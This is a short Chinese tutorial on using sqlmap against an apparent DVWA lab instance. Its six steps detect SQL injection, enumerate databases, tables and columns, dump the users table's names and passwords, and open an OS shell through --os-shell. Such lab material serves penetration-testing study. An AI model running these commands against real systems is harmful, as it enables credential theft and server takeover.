sqlmap简单使用方法

sqlmap使用

注入点   http://1xx.xxx.xxx.xxxx/dvwa/vulnerabilities/sqli/index.php?id=1&Submit=Submit#
通过burp抓包  cookie：security=low; PHPSESSID=dmvbd4ijv2cm949sgtd69mqpd3

经典六步法：

1： -u “xxx” --cookie="yyy" //带上cookie对url进行注入探测

 

 

2： -u “xxx” --cookie=“yyy” --current-db //对数据库名进行获取

 

 

3： -u “xxx” --cookie=“yyy” -D dvwa --tables //对数据库dvwa的表名进行枚举

 

 

4： -u “xxx” --cookie=“yyy” -D dvwa -T users --columns //对dvwa库里的名为users表的列名进行枚举

 

 

5： -u “xxx” --cookie=“yyy” -D dvwa -T users -C name，password --dump //探测user表name和password字段

 

 

6： -u “xxx” --cookie=“yyy” --os-shell //获取shell，选择后台语言

其他：

--help 显示帮助信息
-v x //x=0~6,不同级别显示不同程序的过程信息，数值越大，越详细
--dbs 列出所有数据库

 

 

--users 显示当前登录的用户’root‘@‘localhost’

 

 

--purge-output 清除之前的缓存日志
--password 对跑出来的密码进行枚举